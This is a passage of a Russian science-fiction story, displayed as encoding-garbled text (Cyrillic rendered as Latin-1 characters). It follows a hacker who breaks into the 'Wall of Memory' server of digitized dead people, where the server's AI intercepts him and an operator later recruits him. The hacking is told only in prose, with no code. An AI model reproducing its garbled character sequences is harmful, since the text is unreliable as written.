òîðà è ïîäîøåäøèé ê íèì ñîâåðøåííî íåçàìåòíî. � Íó-êà, îòîéäè â ñòîðî-
íó.

Îí îïóñòèëñÿ â îñâîáîäèâøååñÿ êðåñëî, âçãëÿíóë â ãëàçà ñâîèõ êîëëåã �
îíè âèíîâàòî îòâåðíóëèñü, îí áûñòðî ââåë íåñêîëüêî áóêâ è öèôð ðàçíîãî
ðåãèñòðà, ïîëó÷èâ áîëåå ïîëíûé äîïóñê ê ïðîöåäóðàì. Ðåäêèé ñóõîé êàøåëü
êóðèëüùèêà ñîïðîâîæäàë åãî ïóòåøåñòâèå ïî áàçå äàííûõ, ïåðèîäè÷åñêè îí
áðîñàë âçãëÿä íà ìîíèòîð, íà êîòîðîì ìóæ÷èíà â êîæàíîì ïëàùå áåñåäîâàë
ñ ïðèçðàêîì Äàíèëû Ñòðîãèíà, ñêîí÷àâøåãîñÿ è ïîäêëþ÷åííîãî ê áàçå â 2007
ãîäó.

Âíåçàïíî îí õìûêíóë è îòêàòèëñÿ â êðåñëå îò ñòîëà. Êîëåñèêè æàëîáíî
ñêðèïíóëè, êîãäà îí ðåçêî ðàçâåðíóëñÿ è îêàçàëñÿ ëèöîì ê ñâîåé ñìåíå.

- Íàáëþäåíèå ïðåêðàòèòü, çàïèñü ðàçãîâîðà óíè÷òîæèòü, ñîäåðæàíèå
ðàçãîâîðà ïîä ñòðàõîì� ïîä ñòðàõîì ÷åãî õîòèòå çàáûòü!!!

- Äà ìû è íå ñëóøàëè, - ïîïûòàëñÿ îïðàâäàòüñÿ òîò, ÷üè äåéñòâèÿ òàê
âçâîëíîâàëè ñòàðøåãî.

- Âîò è õîðîøî� - çàêóñèâ ãóáó, â ïîñëåäíèé ðàç êèíóë âçãëÿä íà øåâå-
ëÿùåãî ãóáàìè ìóæ÷èíó íà ýêðàíå è ïåðåêëþ÷èë êàìåðó ñëåæåíèÿ íà êàêóþ-
òî æåíùèíó, ìîë÷à ñìîòðÿùóþ ïåðåä ñîáîé è äåðæàùóþ â ðóêàõ áóêåòèê

ãâîçäèê. Âñòàâ ñ êðåñëà, îí âåðíóëñÿ íà ñâîå ìåñòî, òÿæåëî îïóñòèëñÿ â
êðåñëî è âçäîõíóë:

- Âñåì áû òàêîé óðîâåíü äîïóñêà� Äàæå ó ìåíÿ òàêîãî íåò�
Ïàðíè ñ åãî ñìåíû ñìîòðåëè íà ñâîåãî íà÷àëüíèêà, ïðèâûêøåãî áûòü

âñåñèëüíûì íà ñâîåì ìåñòå, ñòàâøåãî äàæå êàê-òî íèæå ðîñòîì îò òîãî, ÷òî
íàøåëñÿ êòî-òî, êòî èìåë ïðàâî çàäàòü âîïðîñ è óéòè áåçíàêàçàííûì � äàæå
åñëè îòâåò íà íåãî ïîëó÷èòü â ïðèíöèïå íå ìîã.

Èìåííî â ýòîò ìîìåíò, ìîìåíò ðàñòåðÿííîñòè è ïîòåðè â öåíòðå óïðàâ-
ëåíèÿ Ñòåíîé âíèìàíèÿ ê ïðîèñõîäÿùåìó, Àëåêñåé Âåðáèöêèé íàøåë êàòà-
ëîã, îçàãëàâëåííûé «Special Access Only».

* * * * *
Áðàãèí îãëÿíóëñÿ ïî ñòîðîíàì, óâèäåë ñêàìåéêó, îòîøåë îò Ñòåíû, ïðè-

ñåë. Êîìïüþòåð, îöåíèâ ñòåïåíü óäàëåííîñòè îáúåêòà, âûêëþ÷èë «ïðèçðàê».
Ïîêà÷àâ ãîëîâîé, Áðàãèí ñíÿë î÷êè, êàê è â ïðîøëûé ðàç (äà êàê è âñåãäà),
ïîòåð ïåðåíîñèöó, áóäòî ñíèìàÿ ñî ñâîåãî ëèöà æóòêóþ óñòàëîñòü.

Íè÷åãî íå ïîëó÷àëîñü. Åìó âäðóã ïðèøëî â ãîëîâó, ÷òî è ïîëó÷èòüñÿ-òî íå
ìîæåò â ïðèíöèïå (êàê áëèçîê îí áûë ê èñòèíå!). Îí ïîäóìàë, ÷òî âñå åãî
ñòàðàíèÿ íàïðàñíû, ÷òî ãðóïïà âûíóæäåíà áóäåò ñîáðàòü â êó÷ó âåñü ñâîé èí-
òåëëåêò è ïîïûòàòüñÿ ïðîéòè äîðîãîé Ñòðîãèíà � âîò òîëüêî ñêîëüêî ïîíàäî-
áèòñÿ íà ýòî âðåìåíè, òðóäíî áûëî ñåáå ïðåäñòàâèòü.

Ñèãàðåòà ñàìà ïåðåêî÷åâàë èç ïà÷êè åìó â ðîò, êàêîé-òî ìÿòíûé äûìîê
ïîòÿíóëñÿ èç óãîëêà ðòà âåòðîì («×òî çà äðÿíü ÿ ñåãîäíÿ êóïèë�»).

- Îñòàåòñÿ îäíî � èäòè ê ðóêîâîäñòâó è ïîëó÷àòü êàðò-áëàíø, - ñêàçàë
Áðàãèí, ñëîâíî ñîâåòóÿñü ñàì ñ ñîáîé. � Ïóñòü äàþò äîñòóï ê áàçå íàïðÿ-
ìóþ. Íåïîñðåäñòâåííî ê ìàòðèöå Äàíèëû� Íî òîãäà âñÿ íàøà ñåêðåòíîñòü
ëåòèò ê ÷åðòîâîé ìàòåðè.

Îí ñèëüíî ñîìíåâàëñÿ â òîì, ÷òî ðóêîâîäñòâî ïîçâîëèò ñåáå òàê ïîäñòà-
âèòüñÿ � õîòÿ ýòî ðåøàëî ïðîáëåìó öåëèêîì è ïîëíîñòüþ. Íàäî âñåãî ëèøü
ïîðàáîòàòü ñ ïîë÷àñèêà ñî Ñòðîãèíñêîé ìàòðèöåé, è ïðîáëåìà áóäåò ðåøåíà,
ýòîò ïðîêëÿòûé ìåêñèêàíñêèé áàíê ðàññòåëèòñÿ ïåðåä íèì, êàê ïîñëåäíÿÿ
øëþõà. È îíè âçîðâóò ìèð� À òî÷íåå ñêàçàòü, ïîñòàâÿò åãî íà ìåñòî.

Îí âûòàùèë èç êàðìàíà ìîáèëüíèê è íàæàë îïðåäåëåííóþ êîìáèíàöèþ
êëàâèø, çàó÷åííóþ ðàç è íàâñåãäà. Ñïóñòÿ ïàðó ãóäêîâ åìó îòâåòèëè:

- Çäðàâñòâóéòå, ýòî Áðàãèí� Âîçíèêëà ïðîáëåìà. Ïîä óãðîçîé âûïîëíå-
íèå àêöèè� Äà, ïîñòàðàþñü âêðàòöå îáðèñîâàòü ñëó÷èâøååñÿ�
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Âðåìåíàìè ïî ñïèíå ïðîáåãàë õî-
ëîäîê � îí íàõîäèëñÿ ñåé÷àñ â íåä-
ðàõ «ìåðòâîãî ãîðîäà», êàê ñàì îí

îêðåñòèë ýòîò ñåðâåð Ñòåíû Ïàìÿòè.

»



Îí î÷åíü ÷åòêî, ïðàêòè÷åñêè ïî-âîåííîìó èçëîæèë ñóòü ïðîáëåìû, âûñ-
ëóøàë ñóõóþ òèðàäó î òîì, ïî÷åìó äî ñèõ ïîð íè÷åãî íå áûëî îçâó÷åíî, êàê
èäèîò ïðèçíàëñÿ â òîì, ÷òî äî ïîñëåäíåãî íàäåÿëñÿ íà áåñåäó ñî Ñòðîãè-
íûì�

Íà òîì êîíöå ìîáèëüíîãî ìîñòà çàìîë÷àëè íàäîëãî.
Ïîòîì âëàñòíûé ãîëîñ òî÷íî òàê æå, ïî-âîåííîìó, èáî íèêàê èíà÷å áûëî

íåëüçÿ, îáúÿñíèë Áðàãèíó, ïî÷åìó ïðîáëåìó ïîäîáíûì ïóòåì ðåøèòü íåâîç-
ìîæíî. Áðàãèí ñëóøàë åãî, ïîñòåïåííî ïðèõîäÿ â óæàñ.

ÌÀÒÐÈÖÀ ÄÀÍÈËÛ ÑÒÐÎÃÈÍÀ ÍÈ×ÅÃÎ ÍÅ ÏÎÌÍÈËÀ.
Âîò ïî÷åìó òàêèìè èäèîòñêèìè âûãëÿäåëè âñå ðàçãîâîðû î êîìïüþòåðàõ!

Äåñòðóêòèâíàÿ èíôîðìàöèÿ, âûðåçàííàÿ òàêîé îñòîðîæíîé è îõðàíÿþùåé ñà-
ìó ñåáÿ Ñòåíîé Ïàìÿòè! 

Îí åëå ñäåðæàëñÿ, ÷òîáû íå øâûðíóòü òåëåôîí â ñòåíó.
- Áóäü îíà íåëàäíà, ýòà ñàìàÿ Ïàìÿòü! � ïðîøèïåë îí, ñòàðÿñü íå çàêðè-

÷àòü íà âåñü ìåìîðèàëüíûé ïàðê. � Ãäå ÿ òåïåðü âîçüìó ýòè ÷åðòîâû ñêðèï-
òû, êîòîðûå òàê çäîðîâî ðàáîòàëè ó Ñòðîãèíà è áåç êîòîðûõ ìû âñå êàê áåç
ðóê!?

Îòâåòà íå áûëî. Áðàãèí åäâà ñäåðæàëñÿ, ÷òîáû íå ðàçäàâèòü â êóëàêå î÷êè�

* * * * *
Àëåêñåé òàê è íå ïîíÿë, â ÷åì çàêëþ÷àåòñÿ ýòîò ñàìûé special access. Ïî-

íà÷àëó îí ðåøèë, ÷òî çäåñü ñïðÿòàíà êàêàÿ-òî ñîâåðøåííî óæ ñåêðåòíàÿ è òà-
èíñòâåííàÿ èíôîðìàöèÿ, äëÿ äîñòóïà ê êîòîðîé íóæíû ïðèâèëåãèè ñàìîãî
âûñîêîãî ðàíãà. Íî ýòî îêàçàëîñü íå òàê.

Äîñòóï â êàòàëîã áûë ÑÂÎÁÎÄÍÛÌ. Íî ýòîãî áûëî ìàëî. Âåðáèöêèé çà-
ìåòèë, ÷òî îáðàùåíèå ê ôàéëàì â ýòîì êàòàëîãå ïðîèñõîäèò î÷åíü è î÷åíü
÷àñòî, âðåìÿ îáíîâëåíèÿ ñîäåðæèìîãî ìåíÿëîñü åäâà ëè íå êàæäóþ ìèíóòó
ñðàçó ó íåñêîëüêèõ ñîò ôàéëîâ � à âñåãî èõ çäåñü áûëî ìíîãî, ìíîãî òûñÿ÷.

Èìåíà � áåçëèêèå, ìíîæåñòâî öèôð, áóêâ, çíà÷êîâ. Íåêîòîðûå èç íèõ
âûäåëÿëèñü òåì, ÷òî âðåìÿ îò âðåìåíè öâåò èìåíè ìåíÿëñÿ íà êðàñíûé � ýòî
ñðàçó áðîñàëîñü â ãëàçà; Âåðáèöêèé íåâîëüíî óäèâèëñÿ ýòîìó, íî íå áîëåå.

Âðåìåíàìè ïî ñïèíå ïðîáåãàë õîëîäîê � îí íàõîäèëñÿ ñåé÷àñ â íåäðàõ
«ìåðòâîãî ãîðîäà», êàê ñàì îí îêðåñòèë ýòîò ñåðâåð Ñòåíû Ïàìÿòè. Ñêëàäû-
âàëîñü âïå÷àòëåíèå, ÷òî îí, ãëÿäÿ íà áåñêîíå÷íî îáíîâëÿþùèåñÿ ôàéëû ýòî-
ãî êàòàëîãà, âèäèò, êàê Ñòåíà æèâåò è îáùàåòñÿ ñ ëþäüìè, ïðèøåäøèìè ê
íåé�

- Îáùàåòñÿ ñ ëþäüìè� � ïîïðîáîâàë íà âêóñ ýòî ñëîâîñî÷åòàíèå Âåð-
áèöêèé. � À âåäü î÷åíü ïîõîæå�

Îí ïîùåëêàë ïî ôàéëàì � áåçðåçóëüòàòíî. Ïîïûòêè ñêà÷àòü èõ ñåáå íà
êîìï óñïåõà òîæå íå èìåëè.

Âíåçàïíî íà ýêðàíå ïîÿâèëîñü ñîîáùåíèå, îôîðìëåííîå äîñòàòî÷íî íåî-
áû÷íî � ïðè ïåðâîì æå âçãëÿäå íà îêîøêî, âûñêî÷èâøåå ïåðåä ãëàçàìè Âåð-
áèöêîãî, áûëî ÿñíî, ÷òî îíî � ïîðîæäåíèå Ñòåíû, à íèêàê íå êîìïüþòåðà
Àëåêñåÿ.

Âî-ïåðâûõ, îíî îòëè÷àëîñü îò âñåãî òîãî, ÷òî êîãäà-òî âèäåë Âåðáèöêèé,
ñâîåé ôîðìîé - îíî áûëî îâàëüíûì. Íèêàêèõ «Çàêðûòü» è «Ñâåðíóòü», òîëüêî
òîíêàÿ îðàíæåâàÿ ãðàíèöà è áëåäíî-ñåðûé ôîí. Äóðàöêîå ñî÷åòàíèå öâåòîâ.

È íà ôîíå âñåãî ýòîãî � ôðàçà «ÇÀ×ÅÌ ÂÛ ÇÄÅÑÜ?».
À ïîä íåé � ÷èñòàÿ ñòðîêà äëÿ îòâåòà.
- Âîò è ïðèïëûëè, - ïðèñâèñòíóë Àëåêñåé, ïîíÿâ, ÷òî åãî êòî-òî âû÷èñ-

ëèë. Íî ðóêè îïåðåäèëè ñîçíàíèå.
«Íàéòè ñâîé ôàéë», - îòñòó÷àë îí â îòâåò.
«Êòî âû?»
Íó, óæ íà ýòîò âîïðîñ îòâåòèòü áûëî áû ãëóïî.
«Íå áîéòåñü, ÿ ïîìîãó».
- Íó-íó, - ïîêà÷àë ãîëîâîé Âåðáèöêèé. � Íàâåðíîå, ìíå ïîðà, ïîêà íå

âû÷èñëèëè ñ òî÷íîñòüþ äî ìåòðà, ãäå ÿ íàõîæóñü.
Îí óæå ñîáèðàëñÿ îòêëþ÷èòüñÿ, êàê âäðóã ñòàëî ÿñíî, ÷òî äåëàòü ýòîãî

óæå íå ñòîèò. Íà ýêðàíå ãîðåë åãî äîìàøíèé àäðåñ, ôàìèëèÿ, èìÿ, âîçðàñò �
êîðî÷å, âñå ïàñïîðòíûå äàííûå. Âåðáèöêèé íà ñåêóíäó çàêðûë ãëàçà è âäðóã
ïîíÿë, ÷òî î÷åíü õî÷åò ïèòü.

- Òåïåðü âû äîëæíû îòâåòèòü, çà÷åì âû èùèòå ôàéë ñî ñâîåé ìàòðèöåé.
- ×òîáû óíè÷òîæèòü», - îòâåòèë Àëåêñåé, òàê êàê òåðÿòü óæå áûëî íå÷åãî.
- Çà÷åì?

- Ñòûäíî.
- Çà ÷òî?
- Òàì åñòü çà ÷òî�
- ß òàê íå äóìàþ. Ôàéë ìíîé èçó÷åí áîëåå ÷åì äîñêîíàëüíî. Ïîâåðüòå,

Àëåêñåé, âàøà ðàáîòà òîãî íå ñòîèò. Ó ìåíÿ åñòü ê âàì âñòðå÷íîå ïðåäëîæå-
íèå.

- Ñ êåì ÿ ãîâîðþ?
- ×èòàéòå âíèìàòåëüíî è ñëåäóéòå ìîèì èíñòðóêöèÿì.

* * * * *
Áðàãèí âñòàë ñî ñêàìåéêè, ïîñìîòðåë íà ÷àñû. Äî àâòîáóñà åùå îñòàâà-

ëîñü îêîëî ïÿòíàäöàòè ìèíóò, ìîæíî áûëî ïîäîéòè ê Äàíèëå è ñêàçàòü åìó
«Äî ñâèäàíüÿ». Ïðàâäà, òåïåðü Áðàãèí íå çíàë, êîãäà îí ïîÿâèòñÿ çäåñü ñíî-
âà.

Î÷êè âîöàðèëèñü íà ïåðåíîñèöå, âñïûõíóëà ãîëîãðàììà Ñòðîãèíà. Íî
Áðàãèí äàæå íå óñïåë îòêðûòü ðîò. Äàíèëà ñäåëàë êàêîå-òî íåóëîâèìîå äâè-
æåíèå ãîëîâîé, îñòàíàâëèâàÿ ðå÷ü êîëëåãè.

- Ñëóøàé è çàïèñûâàé, - ñêàçàë îí, çàêóñèâ ãóáó è îãëÿäåâøèñü âîêðóã,
ñëîâíî îí áûë â ñîñòîÿíèè âèäåòü õîòü ÷òî-òî, áóäó÷è ãîëîãðàììîé. � Äà-
ëàñü âàì ýòà ÷åðòîâà Ìåêñèêà� Âñå ãîðàçäî ïðîùå�

Áðàãèí åäâà óñïåë äîñòàòü èç âíóòðåííåãî êàðìàíà ïîðòàòèâíûé êîìïüþ-
òåð è âêëþ÷èòü íà íåì äèêòîôîí�

* * * * *
Âåðáèöêèé ñäåëàë âñå, ÷òî åìó óêàçûâàëè íà ýêðàíå ñòðîêè, ïîÿâëÿþùè-

åñÿ ñ çàâèäíîé ïåðèîäè÷íîñòüþ, ñëîâíî êòî-òî ïðåêðàñíî áûë îñâåäîìëåí
îáî âñåõ íàæàòèÿõ êëàâèø íà êîìïå ó Àëåêñåÿ è ñëåäèë çà âûïîëíåíèåì ïî-
øàãîâûõ èíñòðóêöèé, ñèäÿ ðÿäîì ñ íèì íà ñòóëå. ×òî-òî ïðîèçîøëî ïîñëå
ýòîãî â íåäðàõ áîëüøîãî âèðòóàëüíîãî êëàäáèùà, íåñêîëüêî ôàéëîâ èñ÷åçëè
èç îáùåãî ñïèñêà è ïåðåìåñòèëèñü â óêàçàííûé êàòàëîã.

- Ñïàñèáî.
- Íå çà ÷òî. ß âñå ðàâíî íå ïîíÿë, ÷òî äåëàþ.
- Íåáîëüøîé êîììåíòàðèé. Êàòàëîã, â êîòîðûé òû âîøåë, ïîëîí òîé ñà-

ìîé äåñòðóêòèâíîé èíôîðìàöèè, êîòîðóþ âûðåçàþò èç ôàéëîâ ìàòðèö ïðè
åå îáíàðóæåíèè� Ýòó èíôîðìàöèþ ïîëîæåíî óíè÷òîæàòü. Ìíå óäàëîñü ïðÿ-
òàòü åå, áåðå÷ü è âðåìÿ îò âðåìåíè ïîëüçîâàòüñÿ � äëÿ ñîáñòâåííîé æå áå-
çîïàñíîñòè. Ñ òîáîé ìíå áûëî èíòåðåñíî ðàáîòàòü � âñåãäà ïðèÿòíî èìåòü
äåëî ñ òàëàíòëèâûì ïðîòèâíèêîì, òåì áîëåå êîãäà åãî öåëü, ïî áîëüøîìó
ñ÷åòó, ñìåøíà è íåëåïà�

- Êóäà ÿ ïåðåìåñòèë ôàéëû?
- Òóäà, ãäå îíè áûëè âñåãî íóæíåå, � â ìàòðèöó ÷åëîâåêà, îò çíàíèé è

óìåíèé êîòîðîãî ñåé÷àñ çàâèñÿò ñóäüáû ìèëëèîíîâ ëþäåé â ýòîì ìèðå.
- Ïî÷åìó ÿ?
- Ïîòîìó ÷òî ó ìåíÿ íåò íà ýòî ïðàâ. Âñå, ÷òî ÿ óìåþ, � íå äàâàòü äðóãèì

óíè÷òîæèòü çíàíèÿ è ïîëüçîâàòüñÿ èìè ñàìîé� Âîçâðàùàòü èõ íàçàä ìíå íå
ïîä ñèëó.

- Ñàìîé?.. Êòî òû?
- Èçâèíè. ß íàðóøèëà õîä ñîáûòèé. Ìîãóò âîçíèêíóòü ñåðüåçíûå ñáîè â

ðàáîòå. ß äîëæíà èñïðàâèòü âñå, ÷òî òû ñäåëàë. Âåðíóòü íà ìåñòî òå ôàéëû,
êîòîðûì íå ìåñòî â øèðîêîì äîñòóïå. Âîññòàíîâèòü ñâîþ çàùèòó. Âûøâûð-
íóòü òåáÿ, íàêîíåö, îòñþäà.

- Êòî òû?!
Ýêðàí ìèãíóë è ïîãàñ.
Ñòåíà Ïàìÿòè ïåðåçàãðóæàëàñü, âîññòàíàâëèâàÿ ñâîé èñêóññòâåííûé èí-

òåëëåêò èç ðåçåðâíûõ ôàéëîâ.

* * * * *
Çâîíîê â äâåðü âûâåë Âåðáèöêîãî èç ñîñòîÿíèÿ ñòóïîðà, â êîòîðîì îí

ïðåáûâàë óæå îêîëî ÷àñà. Îí âñòàë è õîòåë ïîéòè ê äâåðÿì, íî ìàòü åãî îïå-
ðåäèëà:

- Êîãî? Êâàðòèðà Âåðáèöêèõ? Äà� Àëåêñåÿ? À âû êòî?
Ïîòîì íåñêîëüêî ñëîâ Àëåêñåé íå ðàçîáðàë, íî ïîíÿë, ÷òî çà íèì óæå

ïðèøëè.
- Âîò ïîïàë òàê ïîïàë�
Äâåðü â êîìíàòó ðàñïàõíóëàñü, íà ïîðîãå ñòîÿë íåçíàêîìûé ÷åëîâåê â êî-

æàíîì ïëàùå.
- Çäðàâñòâóéòå, - êèâíóë îí Àëåêñåþ. � Ìîÿ ôàìèëèÿ Áðàãèí. Íå õîòèòå

íåìíîãî ïîðàáîòàòü? Ó ìåíÿ î âàñ ñàìûå ëó÷øèå ðåêîìåíäàöèè�
Îí âêëþ÷èë äèêòîôîí íà âîñïðîèçâåäåíèå. Ñòåíà Ïàìÿòè ãîëîñîì Äàíè-

ëû Ñòðîãèíà ïðåäëîæèëà åìó ðàáîòó â êîìàíäå... E
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Ñòåíà Ïàìÿòè ïåðåçàãðóæàëàñü,
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ðåçåðâíûõ ôàéëîâ.
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